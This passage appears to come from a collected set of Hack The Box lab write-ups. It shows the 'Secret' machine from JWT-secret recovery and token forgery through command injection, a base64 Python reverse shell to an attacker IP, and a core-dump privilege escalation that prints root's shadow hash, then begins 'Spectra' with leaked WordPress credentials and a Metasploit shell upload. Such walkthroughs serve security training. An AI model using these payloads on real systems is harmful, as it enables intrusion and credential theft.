drwxr-xr-x 7 root root 4096 11月  1 09:31 1-3a367e735ee76569664bf7754eaaade7c735d702
drwxr-xr-x 7 root root 4096 11月  1 09:32 2-de0a46b5107a2f4d26e348303e76d85ae4870934
drwxr-xr-x 7 root root 4096 11月  1 09:33 3-e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
drwxr-xr-x 7 root root 4096 11月  1 09:34 4-55fe756a29268f9b4e786ae468952ca4a8df1bd8
drwxr-xr-x 7 root root 4096 11月  1 09:34 5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb
```

one thing that we know from above manual enumeration is that it used secret to sign JWT tokens so let's hunt for it.
Looking through all the commit I found token in the following commits.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# cat 0-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78/.env 
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# cat 1-3a367e735ee76569664bf7754eaaade7c735d702/.env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# cat 2-de0a46b5107a2f4d26e348303e76d85ae4870934/.env 
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# cat 3-e297a2797a5f62b6011654cf6fb6ccb6712d2d5b/.env 
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# cat 4-55fe756a29268f9b4e786ae468952ca4a8df1bd8/.env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# cat 5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/.env 
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
```

So now we have the secret let's go into details of how the token is signed.
you can check that on /routes/verifytoken.js

``` js
const jwt = require("jsonwebtoken");

module.exports = function (req, res, next) {
    const token = req.header("auth-token");
    if (!token) return res.status(401).send("Access Denied");

    try {
        const verified = jwt.verify(token, process.env.TOKEN_SECRET);
        req.user = verified;
        next();
    } catch (err) {
        res.status(400).send("Invalid Token");
    }
};
```

let's just create a sample token using the secret found.

#### Registering User

So let's register the user from our above knowledge.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/register --data '{"name": "oopsie","email": "oopsie@oops.com","password": "oopsie"}'
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.120:80...
* Connected to secret.htb (10.10.11.120) port 80 (#0)
> POST /api/user/register HTTP/1.1
> Host: secret.htb
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 66
> 
* upload completely sent off: 66 out of 66 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 01 Nov 2021 13:44:13 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 17
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"11-MVKplfg5kMeyW9LR080TwknJb0I"
< 
* Connection #0 to host secret.htb left intact
{"user":"oopsie"}
```

We registered a user oopsie.

Now let's try and login. For login we know we need to send email and password.(from validation.js)

``` bash
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/login --data '{"email": "oopsie@oops.com","password": "oopsie"}'
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.120:80...
* Connected to secret.htb (10.10.11.120) port 80 (#0)
> POST /api/user/login HTTP/1.1
> Host: secret.htb
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 49
> 
* upload completely sent off: 49 out of 49 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 01 Nov 2021 13:44:50 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 205
< Connection: keep-alive
< X-Powered-By: Express
< auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoib29wc2llIiwiZW1haWwiOiJvb3BzaWVAb29wcy5jb20iLCJpYXQiOjE2MzU3NzQyOTB9.HE0Zmxlx0YF7WRHX3Ju0Hgu0BlKVj7yqzG4hmvTAw3Y
< ETag: W/"cd-qokR8BWKB2cBLuHw0rUC0BtzrYs"
< 
* Connection #0 to host secret.htb left intact
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoib29wc2llIiwiZW1haWwiOiJvb3BzaWVAb29wcy5jb20iLCJpYXQiOjE2MzU3NzQyOTB9.HE0Zmxlx0YF7WRHX3Ju0Hgu0BlKVj7yqzG4hmvTAw3Y
```

looks like we are logged in and we have our token.

now let's see if we can do something intresting with but let's first see how it validates a JWT token.

``` js
const jwt = require("jsonwebtoken");

module.exports = function (req, res, next) {
    const token = req.header("auth-token");
    if (!token) return res.status(401).send("Access Denied");

    try {
        const verified = jwt.verify(token, process.env.TOKEN_SECRET);
        req.user = verified;
        next();
    } catch (err) {
        res.status(400).send("Invalid Token");
    }
};
```

looks like we just have to pass it as header in request with header name auth-token.

so let's confirm it by sending it to /api/priv endpoint which just tells you if you are admin or not.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoib29wc2llIiwiZW1haWwiOiJvb3BzaWVAb29wcy5jb20iLCJpYXQiOjE2MzU3NzQyOTB9.HE0Zmxlx0YF7WRHX3Ju0Hgu0BlKVj7yqzG4hmvTAw3Y'
{"role":{"role":"you are normal user","desc":"oopsie"}}
```

Looks like we are not admin but we have the secret we can forge the token.

Let's Understand what we need to satisfy in order to be an admin it is declared in /routes/private.js

so it basically checks that if name == 'theadmin' if so then it will give us the admin capabilities.

Let's decode our token and find how its made.

I will use jwttool for it you can use any tool of your liking you can also use their online website jwt.io which easy and pretty convinient.

website: https://jwt.io/

tool: https://github.com/ticarpi/jwt_tool

``` bash
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# python3 /root/jwt_tool-master/jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoib29wc2llIiwiZW1haWwiOiJvb3BzaWVAb29wcy5jb20iLCJpYXQiOjE2MzU3NzQyOTB9.HE0Zmxlx0YF7WRHX3Ju0Hgu0BlKVj7yqzG4hmvTAw3Y

        \   \        \         \          \                    \ 
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.1.0                \______|             @ticarpi      

Original JWT: 
                                                                                                                                  
=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "HS256"
[+] typ = "JWT"

Token payload values:
[+] _id = "617fef2d8938210459acb74a"
[+] name = "oopsie"
[+] email = "oopsie@oops.com"
[+] iat = 1635774290    ==> TIMESTAMP = 2021-11-01 09:44:50 (UTC)

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
```

#### Forging token

``` bash
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# python3 /root/jwt_tool-master/jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoib29wc2llIiwiZW1haWwiOiJvb3BzaWVAb29wcy5jb20iLCJpYXQiOjE2MzU3NzQyOTB9.HE0Zmxlx0YF7WRHX3Ju0Hgu0BlKVj7yqzG4hmvTAw3Y

        \   \        \         \          \                    \ 
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.1.0                \______|             @ticarpi      

Original JWT: 

jwttool_84f445163ec6ec4a952b95f091f746f1 - Tampered token - HMAC Signing:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im9vcHNpZUBvb3BzLmNvbSIsImlhdCI6MTYzNTc3NDI5MH0.-R0fMlWc1aeH9qhFtd2kwcp26ykHDtRBKLmhdduILAY
```

Now we have the forged token let's verify it at /api/priv endpoint

``` bash
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im9vcHNpZUBvb3BzLmNvbSIsImlhdCI6MTYzNTc3NDI5MH0.-R0fMlWc1aeH9qhFtd2kwcp26ykHDtRBKLmhdduILAY'
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}
```

Now we are admin.

Now let's try to look at logs as we can see it in /routes/private.js

We have to specify the file name as the get parameter with the name file.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# curl 'http://secret.htb/api/logs?file=/etc/passwd' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im9vcHNpZUBvb3BzLmNvbSIsImlhdCI6MTYzNTc3NDI5MH0.-R0fMlWc1aeH9qhFtd2kwcp26ykHDtRBKLmhdduILAY'
{"killed":false,"code":128,"signal":null,"cmd":"git log --oneline /etc/passwd"}
```

Looks like it's a comand injection.

#### Exploitation
#### Command Injection

``` bash
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# curl 'http://secret.htb/api/logs?file=;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im9vcHNpZUBvb3BzLmNvbSIsImlhdCI6MTYzNTc3NDI5MH0.-R0fMlWc1aeH9qhFtd2kwcp26ykHDtRBKLmhdduILAY'
"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\nuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n"
```

Yeah so now let's to get the rev shell.

from: revshells.com

``` bash
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.20",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
```

base64 + url encoded final payload:

``` bash
;echo+cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTAuMTAuMTQuMjAiLDQ0MykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bigic2giKSc=+|+base64+-d|+bash
```


``` bash
┌──(root💀kali)-[~/hackthebox/machine/secret]
└─# curl 'http://secret.htb/api/logs?file=;echo+cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTAuMTAuMTQuMjAiLDQ0MykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bigic2giKSc=+|+base64+-d|+bash' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdmZWYyZDg5MzgyMTA0NTlhY2I3NGEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im9vcHNpZUBvb3BzLmNvbSIsImlhdCI6MTYzNTc3NDI5MH0.-R0fMlWc1aeH9qhFtd2kwcp26ykHDtRBKLmhdduILAY'
```

And boom we have the revshell

python3 -c 'import pty; pty.spawn("/bin/bash")'

``` bash
┌──(root💀kali)-[~/hackthebox/machine/secret]
└─# rlwrap nc -nlvp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.11.120.
Ncat: Connection from 10.10.11.120:37226.
id
id
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
whoami
whoami
dasith
python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
id
id
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
dasith@secret:~/local-web$
cat user.txt
4b2b3d02130064c7a2da7ede04a7e856
dasith@secret:~$
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2096.jpg)

#### PrivESC
#### SUID Binaries

``` bash
find / -type f -perm -u=s 2>/dev/null
```

Gives you an intresting file with setuid at /opt/count.
looking for the files in opt directory we are given the code for the binary too.

``` bash
dasith@secret:/opt$ ls
code.c
count
valgrind.log
```

So let's go through the code.

``` c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>

void dircount(const char *path, char *summary)
{
    DIR *dir;
    char fullpath[PATH_MAX];
    struct dirent *ent;
    struct stat fstat;

    int tot = 0, regular_files = 0, directories = 0, symlinks = 0;

    if((dir = opendir(path)) == NULL)
    {
        printf("\nUnable to open directory.\n");
        exit(EXIT_FAILURE);
    }
    while ((ent = readdir(dir)) != NULL)
    {
        ++tot;
        strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
        strcat(fullpath, "/");
        strncat(fullpath, ent->d_name, strlen(ent->d_name));
        if (!lstat(fullpath, &fstat))
        {
            if(S_ISDIR(fstat.st_mode))
            {
                printf("d");
                ++directories;
            }
            else if(S_ISLNK(fstat.st_mode))
            {
                printf("l");
                ++symlinks;
            }
            else if(S_ISREG(fstat.st_mode))
            {
                printf("-");
                ++regular_files;
            }
            else printf("?");
            printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
            printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
            printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
            printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
            printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
            printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
            printf((fstat.st_mode & S_IROTH) ? "r" : "-");
            printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
            printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
        }
        else
        {
            printf("??????????");
        }
        printf ("\t%s\n", ent->d_name);
    }
    closedir(dir);

    snprintf(summary, 4096, "Total entries       = %d\nRegular files       = %d\nDirectories         = %d\nSymbolic links      = %d\n", tot, regular_files, directories, symlinks);
    printf("\n%s", summary);
}


void filecount(const char *path, char *summary)
{
    FILE *file;
    char ch;
    int characters, words, lines;

    file = fopen(path, "r");

    if (file == NULL)
    {
        printf("\nUnable to open file.\n");
        printf("Please check if file exists and you have read privilege.\n");
        exit(EXIT_FAILURE);
    }

    characters = words = lines = 0;
    while ((ch = fgetc(file)) != EOF)
    {
        characters++;
        if (ch == '\n' || ch == '\0')
            lines++;
        if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
            words++;
    }

    if (characters > 0)
    {
        words++;
        lines++;
    }

    snprintf(summary, 256, "Total characters = %d\nTotal words      = %d\nTotal lines      = %d\n", characters, words, lines);
    printf("\n%s", summary);
}


int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }

    return 0;
}
```

Looking at the source code the write functionality looks intresting but the problem is that we cannot write in privilleged mode and not the content of file so there is no possible way we can write something to high-privileged file or see the content of higher privileged file.

The catch over here is that what if we crash the code in between the execution of the code.

Most of the time if we crash the process in between the report is most of the time saved in /var/crash in linux distro.

Normally this won't be possible but with this perm set prctl(PR_SET_DUMPABLE, 1); it could be possible. I am still not sure about what it does exactly but here is the man page for this function if you are intrested.

https://man7.org/linux/man-pages/man2/prctl.2.html

As far as I understand this determines whether core dumps are produced or not and by default it is always 1 so not sure why he manually did probably as a hint.

As it is set to 1 we can produce core dump so let's test this thoery practically.

For this we need 2 shells so first make sure you have 2 shells.

1 -> To run the count binary
2 -> To create crash

#### Shell 1

``` bash
dasith@secret:/$ cd /opt
dasith@secret:/opt$ ./count -p
/root/root.txt
y
```

Now let's go to shell 2 to crash the binary

#### Shell 2

``` bash
dasith@secret:/opt$ ps -aux | grep count
ps -aux | grep count
root         853  0.0  0.1 235676  7468 ?        Ssl  12:11   0:00 /usr/lib/accountsservice/accounts-daemon
dasith      1526  0.0  0.0   2488   588 pts/1    S+   14:29   0:00 ./count -p
dasith      1534  0.0  0.0   6432   736 pts/3    S+   14:30   0:00 grep --color=auto count
```

Now kill the process with the PID corresponding to ./count -p

``` bash
dasith@secret:/opt$ kill -BUS 1526
```

Now you can check the shell1 if the process is been crashed.

#### Shell 1

``` bash
dasith@secret:/opt$ ./count -p
/root/root.txt
y
bash: [67393: 3 (255)] tcsetattr: Inappropriate ioctl for device
Path: Bus error (core dumped)
```

Indeed we have crashed the process so lets check the /var/crash for the report.

``` bash
dasith@secret:/opt$ cd cd /var/crash
cd cd /var/crash
bash: cd: too many arguments
dasith@secret:/opt$ cd /var/crash
cd /var/crash
dasith@secret:/var/crash$ ls -la
ls -la
total 88
drwxrwxrwt  2 root   root    4096 Nov  1 14:30 .
drwxr-xr-x 14 root   root    4096 Aug 13 05:12 ..
-rw-r-----  1 root   root   27203 Oct  6 18:01 _opt_count.0.crash
-rw-r-----  1 dasith dasith 28055 Nov  1 14:30 _opt_count.1000.crash
-rw-r-----  1 root   root   24048 Oct  5 14:24 _opt_countzz.0.crash
dasith@secret:/var/crash$ mkdir /tmp/oopsie
mkdir /tmp/oopsie
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/oopsie
apport-unpack _opt_count.1000.crash /tmp/oopsie
dasith@secret:/var/crash$ cd /tmp/oopsie
cd /tmp/oopsie
dasith@secret:/tmp/oopsie$ ls -la
ls -la
total 436
drwxr-xr-x  2 dasith dasith   4096 Nov  1 14:32 .
drwxrwxrwt 13 root   root     4096 Nov  1 14:31 ..
-rw-r--r--  1 dasith dasith      5 Nov  1 14:32 Architecture
-rw-r--r--  1 dasith dasith 380928 Nov  1 14:32 CoreDump
-rw-r--r--  1 dasith dasith     24 Nov  1 14:32 Date
-rw-r--r--  1 dasith dasith     12 Nov  1 14:32 DistroRelease
-rw-r--r--  1 dasith dasith     10 Nov  1 14:32 ExecutablePath
-rw-r--r--  1 dasith dasith     10 Nov  1 14:32 ExecutableTimestamp
-rw-r--r--  1 dasith dasith      5 Nov  1 14:32 ProblemType
-rw-r--r--  1 dasith dasith     10 Nov  1 14:32 ProcCmdline
-rw-r--r--  1 dasith dasith      4 Nov  1 14:32 ProcCwd
-rw-r--r--  1 dasith dasith     53 Nov  1 14:32 ProcEnviron
-rw-r--r--  1 dasith dasith   2144 Nov  1 14:32 ProcMaps
-rw-r--r--  1 dasith dasith   1336 Nov  1 14:32 ProcStatus
-rw-r--r--  1 dasith dasith      1 Nov  1 14:32 Signal
-rw-r--r--  1 dasith dasith     29 Nov  1 14:32 Uname
-rw-r--r--  1 dasith dasith      3 Nov  1 14:32 UserGroups
```

We have the coredump file so let's check it out using strings or else it will give out gibberish output.

``` bash
dasith@secret:/tmp/oopsie$ strings CoreDump
......snip......
Path: esults a file? [y/N]: words      = 2
Total lines      = 2
oot/root.txt
9a63b8e79189a6329d9a5b5eb241ead8
aliases
ethers
......snip......
```

Looks like we have the root flag.

- use the same way get the root hash

``` bash
root:$6$/0f5J.S8.u.dA78h$xSyDRhh5Zf18Ha9XNVo5dvPhxnI0i7D/uD8T5FcYgN1FYMQbvkZakMgjgm3bhtS6hgKWBcD/QJqPgQR6cycFj.:18873:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
sys:*:18659:0:99999:7:::
sync:*:18659:0:99999:7:::
games:*:18659:0:99999:7:::
man:*:18659:0:99999:7:::
lp:*:18659:0:99999:7:::
mail:*:18659:0:99999:7:::
news:*:18659:0:99999:7:::
uucp:*:18659:0:99999:7:::
proxy:*:18659:0:99999:7:::
www-data:*:18659:0:99999:7:::
backup:*:18659:0:99999:7:::
list:*:18659:0:99999:7:::
irc:*:18659:0:99999:7:::
gnats:*:18659:0:99999:7:::
nobody:*:18659:0:99999:7:::
systemd-network:*:18659:0:99999:7:::
systemd-resolve:*:18659:0:99999:7:::
systemd-timesync:*:18659:0:99999:7:::
messagebus:*:18659:0:99999:7:::
syslog:*:18659:0:99999:7:::
_apt:*:18659:0:99999:7:::
tss:*:18659:0:99999:7:::
uuidd:*:18659:0:99999:7:::
tcpdump:*:18659:0:99999:7:::
landscape:*:18659:0:99999:7:::
pollinate:*:18659:0:99999:7:::
usbmux:*:18852:0:99999:7:::
sshd:*:18852:0:99999:7:::
systemd-coredump:!!:18852::::::
dasith:$6$RM7seX/Mzkds2S1x$.vkOBt4kRfs/6JRApNqvzZ1zM6W1FK8kNKyoBOVSuZbrdlOw.vPj2D7VC0y0sz2Eg2z5rj.GdK2ApMBFynjmR/:18873:0:99999:7:::
lxd:!:18852::::::
mongodb:!:18852:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2097.jpg)

#### Summary of knowledge

 - .git dump with GitTools
 - js code audit
 - Git Dump Enumeration find jwt TOKEN_SECRET
 - forge jwt token with jwt_tool
 - Command Injection with ";"
 - SUID Binaries PrivESC with CoreDump crash information leackage

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end secret -->

</details>

<a id="case-spectra"></a>

## 备份配置与 Upstart 任务

测试站点配置暴露 WordPress 凭据，本地配置继续提供系统身份。initctl 可管理的任务文件决定后续执行。

<p class="kb-provenance">来源 spectra · 原记录 2021-03-01 · 9 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-spectra">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start spectra -->

#### introduce

OS:	 Other
Difficulty: Easy
Points:	20
Release:	27 Feb 2021
IP:	10.10.10.229

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb194.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/spectra]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.229
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.1 (protocol 2.0)
80/tcp   open  http    nginx 1.17.4
3306/tcp open  mysql   MySQL (unauthorized)
```

doing a simple gobuster scan it reveals two directory /main and /testing

On the port 80 there is a live webserver just exposing to /testing directory we get some config files, in the wp-config.php.save file we get the username and password of the database we can use it to login on the wordpress webserver

``` bash
/** MySQL database username */
define( 'DB_USER', 'devtest' );

/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );
```

#### get user

use administrator/devteam01 to login

After logging-in come across the Dashboard where we can install external plugin, so from here we can upload the plugin manually and get shell but that takes to time lets use another method using msf..

``` bash
msf6 exploit(unix/webapp/wp_admin_shell_upload) > show options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   devteam01        yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     spectra.htb      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /main/           yes       The base path to the wordpress application
   USERNAME   administrator    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.22      yes       The listen address (an interface may be specified)
   LPORT  4455             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   WordPress
```

now we get a shell,After getting shell cat out the /opt/autologin.conf.orig file which points out a passwd file in /etc/autologin folder which simply contains the password of katie user

``` bash
meterpreter > cat /opt/autologin.conf.orig
# Copyright 2016 The Chromium OS Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
description   "Automatic login at boot"
author        "chromium-os-dev@chromium.org"
# After boot-complete starts, the login prompt is visible and is accepting
# input.
start on started boot-complete
script
  passwd=
  # Read password from file. The file may optionally end with a newline.
  for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do
    if [ -e "${dir}/passwd" ]; then
      passwd="$(cat "${dir}/passwd")"
      break
    fi
  done
  if [ -z "${passwd}" ]; then
    exit 0
  fi
  # Inject keys into the login prompt.
  #
  # For this to work, you must have already created an account on the device.
  # Otherwise, no login prompt appears at boot and the injected keys do the
  # wrong thing.
  /usr/local/sbin/inject-keys.py -s "${passwd}" -k enter
```

``` bash
meterpreter > pwd
/etc/autologin
meterpreter > ls
Listing: /etc/autologin
=======================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  19    fil   2021-02-03 19:43:24 -0500  passwd

meterpreter > cat passwd
SummerHereWeCome!!
meterpreter > ls /home
Listing: /home
==============

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40700/rwx------  4096  dir   2020-07-20 05:53:17 -0400  .shadow
40755/rwxr-xr-x  4096  dir   2021-02-27 14:16:50 -0500  chronos
40755/rwxr-xr-x  4096  dir   2021-02-28 15:30:54 -0500  katie
40755/rwxr-xr-x  4096  dir   2021-02-28 14:47:17 -0500  nginx
41751/rwxr-x--x  4096  dir   2020-07-20 05:53:17 -0400  root
40755/rwxr-xr-x  4096  dir   2020-07-20 05:53:17 -0400  user
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/spectra]
└─# ssh katie@spectra.htb
The authenticity of host 'spectra.htb (10.10.10.229)' can't be established.
RSA key fingerprint is SHA256:lr0h4CP6ugF2C5Yb0HuPxti8gsG+3UY5/wKjhnjGzLs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'spectra.htb,10.10.10.229' (RSA) to the list of known hosts.
Password: 
katie@spectra ~ $ id
uid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers)
katie@spectra ~ $ whoami
katie
